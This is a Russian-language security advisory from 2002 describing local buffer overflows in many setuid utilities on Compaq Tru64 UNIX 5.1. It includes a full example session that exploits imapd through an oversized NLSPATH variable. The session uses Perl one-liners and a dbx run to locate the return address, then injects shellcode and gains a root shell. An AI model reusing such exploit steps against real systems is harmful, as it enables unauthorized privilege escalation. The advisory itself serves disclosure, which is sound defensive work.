| Дата публикации: | 10.09.2002 |
| Всего просмотров: | 1132 |
| Опасность: | |
| Наличие исправления: | |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | |
| Воздействие: | |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | |
| Описание: | Обнаружено несколько возможностей удаленного переполнения буфера в операционной системе Tru64 в множестве системных библиотек и утилит. Tru64 поставляется с собственной методикой защиты стека от выполнения в нем кода. Однако защита не справляется с обнаруженными уязвимостями, которые могут использоваться местным пользователем для выполнения произвольного кода с повышенными привилегиями. Уязвимые программы:
/usr/dt/bin/dtprintinfo /usr/dt/bin/dtsession /usr/dt/bin/dtaction /usr/dt/bin/dtterm /usr/bin/X11/dxsysinfo /usr/bin/X11/dxconsole /usr/bin/X11/dxpause /usr/bin/X11/dxterm /usr/tcb/bin/dxchpwd /usr/tcb/bin/edauth /usr/sbin/imapd /usr/bin/mh/msgchk /usr/bin/mh/inc /usr/bin/deliver /usr/bin/rdist /usr/bin/uucp /usr/bin/uux /usr/bin/suПример эксплуатации:
% uname -a
OSF1 alpha.snosoft.com V5.1 732 alpha
% id
uid=208(stripey) gid=15(users)
% ls -la /usr/sbin/imapd
-rws--x--x 1 root bin 789216 Aug 24 2000 /usr/sbin/imapd
% perl
-e'$ENV{"NLSPATH"}=("A"x1024)."\x01\x02\x03\x04\x05";
exec("/usr/sbin/imapd")'
Segmentation fault
% su
Password:
# cp /usr/sbin/imapd test
# chmod a+r test
# exit
% perl
-e'$ENV{"NLSPATH"}=("A"x1024)."\x01\x02\x03\x04\x05";exec("dbx","./test")'
(dbx) r
signal Segmentation fault at
warning: PC value 0x504030200 not valid, trying RA
warning: RA value 0x504030200 not valid, trying text start
warning: text start 0x120000000 not valid, trying data start
warning: Using data start as a text address -- traceback will not work
> [., 0x140000000] call_pal cflush
(dbx) 0x140014280/2X
0x0000000140014280: 0x4141414141414141 0x4141414141414141
(dbx) q
% perl
-e'$ENV{"NLSPATH"}=(pack("l",0x47ff041f)x227).
(`./sc`).pack("ll",0x40014280,0x1);exec("/usr/sbin/imapd")'
# id
uid=208(stripey) gid=15(users) euid=0(root)
#
уязвимость обнаружена в Tru64 5.1
|
| Ссылки: | Compaq Tru64 UNIX Multiple Buffer Overflows |